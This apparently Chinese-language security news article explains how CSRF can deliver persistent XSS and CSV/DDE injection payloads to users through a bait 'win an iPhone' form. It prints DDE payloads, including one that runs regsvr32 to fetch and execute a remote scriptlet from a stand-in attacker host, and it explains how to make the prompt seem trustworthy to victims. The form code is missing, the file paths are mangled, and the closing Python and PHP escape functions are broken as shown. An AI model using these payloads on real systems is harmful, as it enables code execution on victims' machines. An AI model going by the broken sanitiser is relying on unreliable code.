當前位置:
首頁 > 新聞 > 攻擊者利用CSRF新功能分發payload到終端用戶

攻擊者利用CSRF新功能分發payload到終端用戶

CSRF

OWASP對CSRF(跨站請求偽造)的定義為:

一個跨站請求偽造攻擊迫使登錄用戶的瀏覽器將偽造的HTTP請求,包括該用戶的會話cookie和其他認證信息,發送一個存在漏洞的web應用程序。這即允許攻擊者迫使用戶瀏覽器向存在漏洞的應用程序發送請求,並且這些請求會被應用程序認為是用戶的合法請求。

研究人員發現,可以利用CSRF來傳播大量的payload到終端用戶。攻擊者常用的CSRF傳播的payload是:

· Persistent Cross Site Scripting (XSS)

· CSV Injection (CSVi)

· CSV Injection to Reflected Cross Site Scripting (XSS)

CSRF Payload傳播

研究人員發現可以通過一個簡單的CSRF PoC來傳播所有類型的payload,因為大多數社會工程場景中的CSRF是一樣的。下面是一個登入的win form:

基本的頁面代碼如下:


Enter Your Email to Win an iPhone X

為了解釋請求,第一部分的H1和input並沒有什麼用處,真實的payload是隱藏在input表單中。這也是CSRF發生的地方,攻擊者可以讓這些值有意義。攻擊者可以利用浙西payload的傳播來設定payload的值。在XSS設定的例子中,會在域名內彈出一個告警框。

但是這個值可以是任何值,在更加惡意的環境中,攻擊者可以利用瀏覽器利用框架來hook受害者的瀏覽器。這樣的惡意表單示例如下:


Enter Your Email to Win an iPhone X

Payload被注入到firstname域中,表單會通過請求提交的方式傳遞到攻擊者的伺服器,然後受害者的伺服器就會用JS腳本鉤住用於下一步的利用。根據應用的功能,攻擊者payload會傳遞持久性和反射性的XSS腳本。

CSV/DDE注入

與XSS payload傳播類似,其他的payload值也可以通過域傳播、在下面的例子中,攻擊者可以通過CSRF控制兩個表單中的數據。


Enter Your Email to Win an iPhone X

許多人將Excel上的攻擊歸因為沒有對字元串進行處理,應用可以採取一些措施來讓一些人的名字不能是=cmd|"/c calc"!A0。與CSV注入類似,其他攻擊包含DDE注入都是同樣的攻擊路徑,首先注入任意字元到這些域中,然後輸出並執行。比如cmd!」/c notepad」!A0 會載入一個DDE payload到CSV或xls文件中。

計算器也被用於非惡意的payload來證明攻擊者可以隨後將它發展成為武器,使用一些DDL註冊或許是一個好辦法:

=MSEXCEL|"......WindowsSystem32
egsvr32 /s /n /u /i:http://attackersite/SCTLauncher.sct pewpew.dll"!A0」

一些用戶可能看到CMD.EXE 或SHELL.EXE請求運行會有所懷疑,然後不點擊。CMD.EXE 或SHELL.EXE可能有惡意的標記。所以,MSEXCEL.EXE這樣的彈窗就會比CMD.EXE或SHELL.EXE更加可信。

只要改變一些CSV注入的payload,攻擊者就可以通過CSRF將其CSV注入,然後變成一種反射性XSS。

通過使用=MSEXCEL|"......WindowsSystem32cmd.exe /c start http://targetapp.cxm/?vuln="!」 這樣的payload,攻擊者可以傳播一個XSS payload,回到這個CSRF的例子中:


Enter Your Email to Win an iPhone X

CSRF並非是一種新的payload方法,但2018年仍然是存在的。許多不同的攻擊方式都是通過CSRF來提供一些幫助的。

POC

CSV注入payload

Python

def escape(payload):

if payload[0] in ("@","+","-", "=", "|", "%"):

payload = payload.replace("|", "|")

payload = """ + payload + """

return payload

PHP

public static function escape_csv( $payload ) {

$triggers = array( "=", "+", "-", "@", "|", "%");

if ( in_array( mb_substr( $payload, 0, 1 ), $triggers, true ) ) {

$payload = """ . $payload . """;

}

return $payload;

}


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

這個15歲的英國少年黑客玩壞美國FBI,套取多份機密文件……
公有雲數據安全如何產品化?

TAG:嘶吼RoarTalk |